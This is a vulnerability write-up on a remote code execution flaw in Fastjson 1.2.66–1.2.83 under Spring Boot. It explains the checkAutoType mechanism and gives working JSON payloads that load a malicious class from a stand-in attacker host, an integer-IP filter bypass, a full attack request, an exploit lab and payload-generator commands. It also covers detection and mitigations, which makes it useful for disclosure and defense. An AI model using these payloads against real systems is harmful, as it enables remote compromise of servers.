Fastjson RCE Vulnerability Deep Dive with Exploit POC

Vulnerability Overview

Fastjson versions 1.2.66 – 1.2.83 allow an attacker to supply a malicious @type value such as jar:http://attacker:8000/probe!.POC. When the value is processed by ParserConfig.checkAutoType(), the method builds a resource path, invokes defaultClassLoader.getResourceAsStream(resource), and the Spring Boot LaunchedURLClassLoader resolves the jar:http:// URL. The class is defined via TypeUtils.loadClass and its static initializer ( <clinit>) executes immediately, achieving remote code execution (RCE) without requiring the autoType switch.

Vulnerability Mechanics

The core issue is the short‑circuit logic if (jsonType) return clazz inside ParserConfig.checkAutoType(). The method converts the @type string to a resource path by replacing dots with slashes and appending .class. It then calls defaultClassLoader.getResourceAsStream(resource), which, when the class loader is Spring Boot’s LaunchedURLClassLoader, fetches a remote JAR. The class is loaded with TypeUtils.loadClass, and its <clinit> runs before any DTO binding checks, rendering type binding ineffective.

Exploit Chain

SSRF probe: the custom class loader parses the jar:http:// URL.

Remote class loading: the attacker hosts a malicious JAR containing a class annotated with @JSONType.

Code execution: the class’s static initializer runs as soon as it is defined.

Type‑binding bypass: even calls like JSON.parseObject(body, Dto.class) trigger the exploit during the probe phase.

Payload Construction

Basic Payload

{"@type":"jar:http://ATTACKER_IP:8000/probe!.POC","x":1}

Integer‑IP Bypass

{"@type":"jar:http://..2130706433:18080.probe!.POC","x":1}

Here 2130706433 is the integer representation of 127.0.0.1, allowing the attacker to evade dot‑based filters.

Full Attack Flow (Attacker Perspective)

# 1. Start malicious HTTP server serving the crafted JAR
# 2. Send payload
POST /api/parse HTTP/1.1
Host: target.com
Content-Type: application/json

{"@type":"jar:http://attacker.com:8000/probe!.POC","x":1}
# 3. Target requests http://attacker.com:8000/probe!/POC.class
# 4. Server returns malicious class with @JSONType
# 5. Target executes static initializer → RCE

Proof‑of‑Concept Lab

Docker‑based lab is available at https://github.com/dinosn/fastjson-jsontype-rce-lab. Typical workflow:

git clone https://github.com/dinosn/fastjson-jsontype-rce-lab.git
cd fastjson-jsontype-rce-lab
make up        # builds attacker and target containers (JDK 8, fastjson 1.2.83)
make exploit   # sends a single payload and verifies code execution
make down      # cleans up

Expected output shows a successful RCE followed by a ClassCastException, confirming that the exception occurs after the exploit has already executed.

Detection Tools

Static scan:

python3 scanner/fjscan_static.py /path/to/artifacts --threads 16

Active probe (SSRF only):

python3 scanner/fjscan_probe.py --collaborator your.oastify.com --auto --targets targets.txt

Payload generator for Burp Repeater:

python3 scanner/fjpayload.py <collaborator-ip> --targets-file targets.txt

Mitigation Measures

-Dfastjson.parser.safeMode=true

– completely disables @type handling.

Restrict outbound HTTP – prevents the application from reaching attacker‑controlled servers.

Upgrade to JDK 9+ – class definition is rejected, turning RCE into SSRF only.

Migrate to fastjson2 – removes the vulnerable 1.x series entirely.

WAF rules – detect jar:, !, .., and integer‑IP patterns in @type.

Exploitation Conditions Summary

fastjson 1.2.66 – 1.2.83 (probe path unchanged).

Spring Boot fat‑jar’s LaunchedURLClassLoader parses jar:http:// URLs.

JDK 8 environment (JDK 9+ downgrades to SSRF only).

Application can access attacker‑controlled HTTP server.

autoType switch is irrelevant – exploit works regardless of its state.

Conclusion

The vulnerability has a low attack barrier, bypasses common defenses such as disabling autoType or using type binding, and affects virtually all Spring Boot applications that rely on the default class loader. Upgrading to fastjson 2 or applying the mitigation measures above is strongly recommended.